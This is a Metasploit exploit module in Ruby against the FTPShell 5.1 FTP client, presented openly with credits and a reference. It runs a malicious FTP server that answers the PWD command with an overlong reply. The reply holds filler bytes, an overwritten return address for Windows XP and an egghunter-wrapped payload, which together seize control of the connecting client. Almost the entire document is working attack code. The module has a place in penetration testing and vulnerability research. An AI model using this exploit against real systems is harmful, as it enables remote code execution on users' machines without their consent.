FTPShell 5.1 Stack Buffer Overflow

`##  
# $Id: ftpshell51_pwd_reply.rb 10660 2010-10-12 18:39:21Z jduck $  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Exploit::Remote::FtpServer  
include Exploit::Remote::Egghunter  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'FTPShell 5.1 Stack Buffer Overflow',  
'Description' => %q{  
This module exploits a stack buffer overflow in FTPShell 5.1. The overflow gets  
triggered when the ftp clients tries to process an overly response to a PWD command.  
This will overwrite the saved EIP and structured exception handler.  
},  
'Author' =>  
[  
'corelanc0d3r' #found bug, wrote the exploit  
],  
'License' => MSF_LICENSE,  
'Version' => "$Revision: 10660 $",  
'References' =>  
[  
[ 'URL', 'http://www.corelan.be:8800/index.php/2010/10/12/death-of-an-ftp-client/' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},  
'Payload' =>  
{  
'BadChars' => "\x00\xff\x0d\x5c\x2f\x0a",  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows XP Universal', { 'Offset' => 399, 'Ret' => 0x779A5483 } ], #jmp ebp [setupapi.dll]]  
],  
'Privileged' => false,  
'DisclosureDate' => 'Oct 12 2010',  
'DefaultTarget' => 0))  
  
end  
  
  
def setup  
super  
end  
  
def on_client_unknown_command(c,cmd,arg)  
c.put("200 OK\r\n")  
end  
  
  
def on_client_command_pwd(c,arg)  
  
badchars = ""  
eggoptions =  
{  
:checksum => true,  
:eggtag => "w00t"  
}  
hunter,egg = generate_egghunter(payload.encoded,badchars,eggoptions)  
  
print_status(" - PWD command -> Sending payload")  
junk = "A" * target['Offset']  
nops = "A" * 10  
tweakhunter = "\x5a\x5a"  
eip = [target.ret].pack('V')  
buffer = junk + eip + nops + tweakhunter + hunter + egg  
pwdoutput = "257 \"/" + buffer+ "\" is current directory\r\n"  
c.put(pwdoutput)  
print_status(" - Sent #{pwdoutput.length} bytes, wait for hunter")  
return  
  
end  
  
end`